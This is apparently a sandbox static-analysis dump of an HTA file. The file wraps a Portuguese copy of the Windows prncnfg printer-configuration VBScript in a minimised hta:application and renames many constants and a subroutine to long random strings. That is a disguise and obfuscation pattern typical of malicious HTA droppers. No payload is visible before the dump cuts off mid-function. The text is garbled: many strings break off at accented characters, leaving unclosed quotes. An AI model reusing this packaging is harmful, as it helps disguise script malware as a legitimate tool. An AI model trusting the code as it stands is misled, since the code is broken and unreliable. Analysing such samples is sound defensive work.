Static | ZeroBOX

<html>

<head>

<hta:application

WINDOWSTATE="minimize">

id="app"

applicationname="Minha aplica

border="thin"

caption="yes"

contextmenu="yes"

innerborder="no"

maximizebutton="yes"

minimizebutton="yes"

navigable="yes"

scroll="yes"

showintaskbar="yes"

singleinstance="yes"

sysmenu="yes"

version="1.0"

windowstate="normal"

></hta:application>

On Error Resume Next

function RemoveBackslashes(strServer)

dim strRet

strRet = strServer

if Left(strServer, 2) = "\\" and Len(strServer) > 2 then

strRet = Mid(strServer, 3)

end if

RemoveBackslashes = strRet

end function

const ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw = 1

const kDebugError = 2

dim gDebugFlag

gDebugFlag = false

const kFlagUpdateOnly = 1

const kActionUnknown = 0

const kActionSet = 1

const kActionGet = 2

const kActionRename = 3

const NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM = 0

const sNeYySoAEwYSaJqbTWfzwnyhGSJTttzZJfNXPHPxCLwtmBfWoJKrEOUAuRuNVwDBEwQzNJIWFTnVPndXkELeKhCDRbpXVvaANzHsclTZTFJEGHsFMWeczTTjUZxtKyMYiNoIaKgLRwLJlCBklTkvBVefIoegvdKtWOIzahNsecHuwtrxMtfAPphKXAvWRidFQTzLTweN = 1

const kServerName = 1

const kPrinterName = 2

const kNewPrinterName = 3

const kShareName = 4

const kPortName = 5

const kDriverName = 6

const kComment = 7

const kLocation = 8

const kSepFile = 9

const kPrintProc = 10

const kDataType = 11

const kParameters = 12

const kPriority = 13

const kDefaultPriority = 14

const kStartTime = 15

const kUntilTime = 16

const kQueued = 17

const kDirect = 18

const kDefault = 19

const kShared = 20

const kNetwork = 21

const kHidden = 23

const kLocal = 24

const kEnableDevq = 25

const kKeepPrintedJobs = 26

const kDoCompleteFirst = 27

const kWorkOffline = 28

const kEnableBidi = 29

const kRawOnly = 30

const kPublished = 31

const kUserName = 32

const kPassword = 33

const ZfzqFwgMMTQrvFChoEuQHEeThzQvWcpEGDFqPeTlsCXEhVDPdpAqClKiDVFkXVZDYEeQShUOubhUMfumpdJWvmmGpIJFkkdhDoxKWWwVJFgHUvbRLMrYRjOsZGoyjANhpcsPlbWPVoaljmLtrmoNoInbUniPkEOMfPSpbjpjnLbmDhZLWJBlhwacwQWvUYoSeULQvgXf = "root\cimv2"

const L_Empty_Text = ""

const VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg = " "

const LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi = "Erro"

const L_Success_Text = "

const L_Failed_Text = "Falha"

const znTWpRgJLYOQRxfmdYoWyPHEbIJcfJhTRjCqQFVFPPGPdRsiqvyOjwJsVJQtcxvSaPIkQVEfRrnCVMGsFBhSPlrMoaLFjKEEicMYXBvlRovUWNabTgIBTiYybLSzueVFKvHCVWEgItDqRIHjopVoxLTsqxJEcnayzLFJdCiKrTYGVdGrHIntoACHhgyazIXHjqzfPUeh = "0x"

const L_Printer_Text = "Impressora"

const L_Operation_Text = "Opera

const L_Provider_Text = "Provedor"

const L_Description_Text = "Descri

const L_Debug_Text = "Depurar:"

const L_Help_Help_General01_Text = "Uso: prncnfg [-gtx?] [-s servidor][-p impressora][-z novo nome de impressora]"

const L_Help_Help_General02_Text = " [-u ufNRFuImvKKiuPaQcDpkrqYJibuILnVkCkUgRJCrznBbrGBEoitCmaWzxfIAXrnDHxpxovXzcdANMCJARbYYZOGhOqdmABPpZoQwuflFxrsDciiPRKfoaaTvgOaMlfiIHcSmjnezZGygxfSoqxpewiOpxvcJSEHFfdAUGdPaBlxoIaOLjapNarfUmAsThdErCYzOdwZb name][-w hoVBmTbInUYdAXKhvwCHXmvCOMgUnBCodcQUfEHQjwCoyOYiIuyrQibgLATvIIToBsmazkLoCPxmtOMNkVBubNExyEEkLyFacsWDmvIQNoFRqqQnMbyUAyWWHmAiXtUxjXHDDJcXtxhMpStrTYcVSEixcNBLWUHHjVlORcbmdWzZuqryepYCoOAdQdHpiCtpSqYXCCwq][-r port name][-l location]"

const L_Help_Help_General03_Text = " [-m comment][-h share name][-f sep file][-y datatype]"

const L_Help_Help_General04_Text = " [-st start time][-ut until time][-i default priority]"

const L_Help_Help_General05_Text = " [-o priority][<+|->shared][<+|->direct][<+|->hidden]"

const L_Help_Help_General06_Text = " [<+|->published][<+|->rawonly][<+|->queued][<+|->enablebidi]"

const L_Help_Help_General07_Text = " [<+|->keepprintedjobs][<+|->workoffline][<+|->enabledevq]"

const L_Help_Help_General08_Text = " [<+|->docompletefirst]"

const L_Help_Help_General09_Text = "Argumentos:"

const L_Help_Help_General10_Text = "-f - nome de arquivo separador"

const L_Help_Help_General11_Text = "-g - obter configura

const L_Help_Help_General12_Text = "-h - nome de compartilhamento"

const L_Help_Help_General13_Text = "-i - prioridade padr

const L_Help_Help_General14_Text = "-l - cadeia de caracteres de local"

const L_Help_Help_General15_Text = "-m - cadeia de caracteres de coment

const L_Help_Help_General16_Text = "-o - prioridade"

const L_Help_Help_General17_Text = "-p - nome da impressora"

const L_Help_Help_General18_Text = "-r - nome da porta"

const L_Help_Help_General19_Text = "-s - nome do servidor"

const L_Help_Help_General20_Text = "-st - hora de in

const L_Help_Help_General21_Text = "-t - definir configura

const L_Help_Help_General22_Text = "-u - nome do usu

const L_Help_Help_General23_Text = "-ut - at

a hora"

const L_Help_Help_General24_Text = "-w - senha"

const L_Help_Help_General25_Text = "-x - alterar nome da impressora"

const L_Help_Help_General26_Text = "-y - cadeia de caracteres de tipo de dados"

const L_Help_Help_General27_Text = "-z - novo nome de impressora"

const L_Help_Help_General28_Text = "-? - exibir uso do comando"

const L_Help_Help_General29_Text = "Exemplos:"

const L_Help_Help_General30_Text = "prncnfg -g -s server -p printer"

const L_Help_Help_General31_Text = "prncnfg -x -s server -p printer -z ""new printer"""

const L_Help_Help_General32_Text = "prncnfg -t -p impressora -l ""Pr

dio A/Andar 100/Escrit

rio 1"" -m ""Impressora em cores"""

const L_Help_Help_General33_Text = "prncnfg -t -p impressora -h ""Compartilhamento"" +shared -direct"

const L_Help_Help_General34_Text = "prncnfg -t -p printer +rawonly +keepprintedjobs"

const L_Help_Help_General35_Text = "prncnfg -t -p printer -st 2300 -ut 0215 -o 1 -i 5"

const L_Help_Help_Host01_Text = "Este script deve ser executado a partir do prompt de comando usando CScript.exe."

const L_Help_Help_Host02_Text = "Por exemplo: CScript script.vbs argumentos"

const L_Help_Help_Host03_Text = ""

const L_Help_Help_Host04_Text = "Para definir CScript como o aplicativo padr

o para a execu

o de arquivos .VBS, execute:"

const L_Help_Help_Host05_Text = " CScript //H:CScript //S"

const L_Help_Help_Host06_Text = "Voc

poder

em seguida executar ""script.vbs argumentos"" sem incluir CScript antes to script."

const L_Text_Error_General01_Text = "O host de script n

de ser determinado."

const L_Text_Error_General02_Text = "N

vel analisar a linha de comando."

const L_Text_Error_General03_Text = "C

digo de erro do Win32"

const L_Text_Msg_General01_Text = "Impressora renomeada"

const RfhFqMmKFdOWYeGnMLZjnIzGLYKwaSConHWNQUTapyZVghaummbmPNTWEUXUMEVmmALNjoveyPeuVFsMzrjrpXWHeCemihDbdnanNhQgaOJrJiLrzDTTtdGIrcfnBPEUbDkVrrrEJtlqMbsNbIfkxAYQxyiNVdcZJLxUcUZLDTMipZPmjzoXvOHDilktsXjBTSIxHGHS = "Nome da nova impressora"

const L_Text_Msg_General03_Text = "N

o foi poss

vel renomear a impressora"

const L_Text_Msg_General04_Text = "N

o foi poss

vel obter a configura

o da impressora"

const L_Text_Msg_General05_Text = "Impressora sempre dispon

const L_Text_Msg_General06_Text = "Impressora configurada"

const L_Text_Msg_General07_Text = "N

o foi poss

vel configurar a impressora"

const L_Text_Msg_General08_Text = "N

o foi poss

vel obter o objeto SWbemLocator"

const L_Text_Msg_General09_Text = "N

vel conectar-se ao servi

o WMI"

const L_Text_Msg_General10_Text = "Status da impressora"

const L_Text_Msg_General11_Text = "Status de impressora estendido"

const L_Text_Msg_General12_Text = "Estado de erro detectado"

const L_Text_Msg_General13_Text = "Estado de erro estendido detectado"

const VmKOffTvYHHkaXeCsqpDGxwDGmAvOlFqskdwyAstxqzObHuuzWWAQduNelBucvsXMTzwrAXdwnIMjCMOXgKtvuyuKwQvZemeUgnnugmajzlUDIudQXIujjoSSLnzTUMcuwWlzFAOjYNULqCCwymjZtKkocXiCqZLhpDitjrqdqGqFnzCmVxnqPJrEfPKbGjtudvaLldt = "Nome do servidor"

const cHbDhlyYvUcfaqnMthMtAoPmmHZuGtODexZdmOCbckDUxzfWudpSeXjjOKvsXITQMkUXgbeLMhwXzAyzudgoJjWYqQZjXjdXrXAzcqXacWyyHqphrndScAAINRnTfeGXPpFVpTvcPFDLymHmgmMYOGHzRnbeGhvIqoKsNQFJsRCuoDvJTUJygHBXPUuxeOQQQifPfcKm = "Nome da impressora"

const L_Text_Msg_Printer03_Text = "Nome de compartilhamento"

const XorTVIXAFMyOyBvldtCYPjhhBeZnjsFoTeOilEQkFwJOByTbaDLxIXmFmZyYghuAdInxSwfzqTTVegqNLQWelyNlTBjzqkRQanDbbYMEBzCwflGWBJmHjLRgMZfKTvMsjzBRmWNdRSEcaCpJkvYEOKNNOpCsPAezUPxIBloDvGMKvLeAjhUeFEgveXRzxeSgnmtvWwZm = "Nome do driver"

const wUxLqWSonLGfpVQbGvLQbczdILaiHZeIeCxKLkspdtGKpwDPhMvFbIDjrMPSaFMIBjaUmdYQjOoCKnDLriJtoyaYtURwqDORJOSOigeCrshEBUSBZkyguBhsDTPdDZKVxXxZhAZXSZPRKPxcKUCKfTXJlplKjgvWCqrybHgFSdjYQxUxdIMZawBrOdhyshswjKyuYXHa = "Nome da porta"

const L_Text_Msg_Printer06_Text = "Coment

const L_Text_Msg_Printer07_Text = "Local"

const L_Text_Msg_Printer08_Text = "Arquivo separador"

const L_Text_Msg_Printer09_Text = "Processador de impress

const L_Text_Msg_Printer10_Text = "Tipo de dados"

const L_Text_Msg_Printer11_Text = "Par

metros"

const L_Text_Msg_Printer12_Text = "Atributos"

const L_Text_Msg_Printer13_Text = "Prioridade"

const L_Text_Msg_Printer14_Text = "Prioridade padr

const L_Text_Msg_Printer15_Text = "Hora inicial"

const L_Text_Msg_Printer16_Text = "At

hora"

const L_Text_Msg_Printer17_Text = "Status"

const L_Text_Msg_Printer18_Text = "Contagem de trabalhos"

const L_Text_Msg_Printer19_Text = "M

dia de p

ginas por minuto"

const L_Text_Msg_Attrib01_Text = "direct"

const L_Text_Msg_Attrib02_Text = "raw_only"

const L_Text_Msg_Attrib03_Text = "local"

const L_Text_Msg_Attrib04_Text = "shared"

const L_Text_Msg_Attrib05_Text = "keep_printed_jobs"

const L_Text_Msg_Attrib06_Text = "published"

const L_Text_Msg_Attrib07_Text = "queued"

const L_Text_Msg_Attrib08_Text = "default"

const L_Text_Msg_Attrib09_Text = "network"

const L_Text_Msg_Attrib10_Text = "enable_bidi"

const L_Text_Msg_Attrib11_Text = "do_complete_first"

const L_Text_Msg_Attrib12_Text = "work_offline"

const L_Text_Msg_Attrib13_Text = "hidden"

const L_Text_Msg_Attrib14_Text = "enable_devq_print"

const L_Text_Msg_Status01_Text = "Outros"

const L_Text_Msg_Status02_Text = "Desconhecido"

const L_Text_Msg_Status03_Text = "Ocioso"

const L_Text_Msg_Status04_Text = "Imprimindo"

const L_Text_Msg_Status05_Text = "Em aquecimento"

const L_Text_Msg_Status06_Text = "Impress

o parada"

const L_Text_Msg_Status07_Text = "Offline"

const L_Text_Msg_Status08_Text = "Em pausa"

const L_Text_Msg_Status09_Text = "Erro"

const L_Text_Msg_Status10_Text = "Ocupada"

const L_Text_Msg_Status11_Text = "N

o dispon

const L_Text_Msg_Status12_Text = "Aguardando"

const L_Text_Msg_Status13_Text = "Processando"

const L_Text_Msg_Status14_Text = "Inicializando"

const L_Text_Msg_Status15_Text = "Economia de energia"

const L_Text_Msg_Status16_Text = "Exclus

o pendente"

const L_Text_Msg_Status17_Text = "E/S ativa"

const L_Text_Msg_Status18_Text = "Alimenta

o manual"

const L_Text_Msg_Status19_Text = "Sem erros"

const L_Text_Msg_Status20_Text = "Pouco papel"

const L_Text_Msg_Status21_Text = "Sem papel"

const L_Text_Msg_Status22_Text = "Toner baixo"

const L_Text_Msg_Status23_Text = "Sem toner"

const L_Text_Msg_Status24_Text = "Porta aberta"

const L_Text_Msg_Status25_Text = "Obstru

const L_Text_Msg_Status26_Text = "Servi

o solicitado"

const L_Text_Msg_Status27_Text = "Bandeja de sa

da cheia"

const L_Text_Msg_Status28_Text = "Problema no papel"

const L_Text_Msg_Status29_Text = "N

vel imprimir a p

const L_Text_Msg_Status30_Text = "Interven

o do usu

rio necess

const L_Text_Msg_Status31_Text = "Mem

ria insuficiente"

const L_Text_Msg_Status32_Text = "Servidor desconhecido"

const RVeKkVjYrUfdydVWVWHsGdPFyNbzaVjBdBMQjmWelDxhGMWWvBDFNoDwXCeCFwZCSowQFdLdhIctBxFmMUcFktgsRBcBtReDDVAnElDDFRuaHvmQQJYkTlvszTrOAtRrwSwjbelKgANkWGXMGrARAQZveUNkyVrRaptoRdHLHeoSdnekndCuQrkQulwefuLcoUDBXclH = "Na fun

o RenamePrinter"

const dZkPzHcblcbcaPPZYhLaHPqcJBjuXXNAlxPltjbGZBDYYlTsDltssWlluiErBkhBESVpNTmRKpKXdQiieiEVXTvpdKmpjDYydScXYIRUTWnfGuZGDPaNlONCJstbWJSgdFOImOGWnrRODWrYyzBqLlKbnYFXmJEbIkDXzUwVGDCjbZGExEIrMCgZFzOiPGkreUwClvSr = "Nome da nova impressora"

const L_Text_Dbg_Msg03_Text = "Na fun

o GetPrinter"

const L_Text_Dbg_Msg04_Text = "Na fun

o SetPrinter"

const L_Text_Dbg_Msg05_Text = "Na fun

o ParseCommandLine"

function DetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

str = str + L_Text_Msg_Status02_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 1

str = str + L_Text_Msg_Status01_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 2

case 3

str = str + L_Text_Msg_Status20_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 4

str = str + L_Text_Msg_Status21_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 5

str = str + L_Text_Msg_Status22_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 6

str = str + L_Text_Msg_Status23_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 7

str = str + L_Text_Msg_Status24_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 8

str = str + L_Text_Msg_Status25_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 9

str = str + L_Text_Msg_Status07_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 10

str = str + L_Text_Msg_Status26_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 11

str = str + L_Text_Msg_Status27_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

end select

DetectedErrorStateToString = str

end function

function ExtDetectedErrorStateToString(Status)

dim str

str = L_Empty_Text

select case Status

case 0

case 1

case 2

case 3

case 4

case 5

case 6

case 7

case 8

case 9

case 10

case 11

case 12

str = str + L_Text_Msg_Status28_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 13

str = str + L_Text_Msg_Status29_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 14

str = str + L_Text_Msg_Status30_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 15

str = str + L_Text_Msg_Status31_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 16

str = str + L_Text_Msg_Status32_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

end select

ExtDetectedErrorStateToString = str

end function

sub YDNlyqDGXoCtzekpVeitNUsBfQzIPCseYOFEXXtCmQeLqiUreqooisfrFMYZtnZFNqNiwphnCviAqtkYJhYxxlQQIJIuYlvevEjDASXgCktwuHDUTkGsIaYHLTFYoXZjlQLYYPwvVVibuSaBNRtRHgqBplbPjKiEIKbQmPjWkgAJLdscKnRTWixmHoWmUJEAhJsBEqWd(uFlags, strString)

if gDebugFlag = true then

if uFlags = ABSSLinVpNXWjXDBTdypQGsRvhQLmUKdQDyTTVeXOFXolguReCeXxPIkNyMioeVFtkBXEPcGdaFMrAxXclMHVEBvHgfLJmhPonXcrfeMjjFMoCtXwLFhNGYhjnXLkorCWxaTnttZsHXQbseVHnUxVyNuQeEjBQQMAoocHKNaCYFWQEZkkbaUpEnXIAEyvDOdWqnKPXFw then

end if

if uFlags = kDebugError then

if Err <> 0 then

wscript.echo L_Debug_Text & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & strString & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg _

& LYPMLCGNHGxUkeoNtxCefXUbTamFIZElRKhDFoiYoWfgIwxMTqLTVqvygMZzCKlNDYudLTaNsRRJriYZbuoBiPdAnxNJvYFhMOPgYdWtPwGcgVJnzBUdjNzviowbaebbLlunLAaaHditFAKokDMFceyYOgPTuIsPrJkuQpsDerkASrYyyYzCcOTwgMQKKWybPvFyklUi & VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg & znTWpRgJLYOQRxfmdYoWyPHEbIJcfJhTRjCqQFVFPPGPdRsiqvyOjwJsVJQtcxvSaPIkQVEfRrnCVMGsFBhSPlrMoaLFjKEEicMYXBvlRovUWNabTgIBTiYybLSzueVFKvHCVWEgItDqRIHjopVoxLTsqxJEcnayzLFJdCiKrTYGVdGrHIntoACHhgyazIXHjqzfPUeh & hex(Err.Number) _

end if

end sub

function ParseCommandLine(iAction, oParamdict)

on error resume next

dim oArgs

dim iIndex

iAction = kActionUnknown

iIndex = 0

set oArgs = wscript.Arguments

while iIndex < oArgs.Count

select case oArgs(iIndex)

case "-g"

iAction = kActionGet

case "-t"

iAction = kActionSet

case "-x"

iAction = kActionRename

case "-p"

iIndex = iIndex + 1

oParamdict.Add kPrinterName, oArgs(iIndex)

case "-s"

iIndex = iIndex + 1

oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))

case "-r"

iIndex = iIndex + 1

oParamdict.Add kPortName, oArgs(iIndex)

case "-h"

iIndex = iIndex + 1

oParamdict.Add kShareName, oArgs(iIndex)

case "-m"

iIndex = iIndex + 1

oParamdict.Add kComment, oArgs(iIndex)

case "-l"

iIndex = iIndex + 1

oParamdict.Add kLocation, oArgs(iIndex)

case "-y"

iIndex = iIndex + 1

oParamdict.Add kDataType, oArgs(iIndex)

case "-f"

iIndex = iIndex + 1

oParamdict.Add kSepFile, oArgs(iIndex)

case "-z"

iIndex = iIndex + 1

oParamdict.Add kNewPrinterName, oArgs(iIndex)

case "-u"

iIndex = iIndex + 1

oParamdict.Add kUserName, oArgs(iIndex)

case "-w"

iIndex = iIndex + 1

oParamdict.Add kPassword, oArgs(iIndex)

case "-st"

iIndex = iIndex + 1

oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-o"

iIndex = iIndex + 1

oParamdict.Add kPriority, oArgs(iIndex)

case "-i"

iIndex = iIndex + 1

oParamdict.Add kDefaultPriority, oArgs(iIndex)

case "-ut"

iIndex = iIndex + 1

oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000"

case "-queued"

oParamdict.Add kQueued, false

case "+queued"

oParamdict.Add kQueued, true

case "-direct"

oParamdict.Add kDirect, false

case "+direct"

oParamdict.Add kDirect, true

case "-shared"

oParamdict.Add kShared, false

case "+shared"

oParamdict.Add kShared, true

case "-hidden"

oParamdict.Add kHidden, false

case "+hidden"

oParamdict.Add kHidden, true

case "-enabledevq"

oParamdict.Add kEnabledevq, false

case "+enabledevq"

oParamdict.Add kEnabledevq, true

case "-keepprintedjobs"

oParamdict.Add kKeepprintedjobs, false

case "+keepprintedjobs"

oParamdict.Add kKeepprintedjobs, true

case "-docompletefirst"

oParamdict.Add kDocompletefirst, false

case "+docompletefirst"

oParamdict.Add kDocompletefirst, true

case "-workoffline"

oParamdict.Add kWorkoffline, false

case "+workoffline"

oParamdict.Add kWorkoffline, true

case "-enablebidi"

oParamdict.Add kEnablebidi, false

case "+enablebidi"

oParamdict.Add kEnablebidi, true

case "-rawonly"

oParamdict.Add kRawonly, false

case "+rawonly"

oParamdict.Add kRawonly, true

case "-published"

oParamdict.Add kPublished, false

case "+published"

oParamdict.Add kPublished, true

case "-?"

Usage(true)

exit function

case else

Usage(true)

exit function

end select

iIndex = iIndex + 1

wend

if Err = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM then

ParseCommandLine = NhDDsvSqMfDumohcmxkAqEgSFglBbXQKtavyRULQYTnKSxKeSVBltDOMtOLkPhtvGIJIWVDOmGaauSMugUSLEMAjIkrcHLRSKGPYPtixaWeDYXVTQVrPrCeCOaHdWdLjCaZexfaDhTLsccdMVsKnkGRHuyXSaAUQlDPdXWIBfyKCfLYWqyAYNdgffFMCcWGKgokxPziM

else

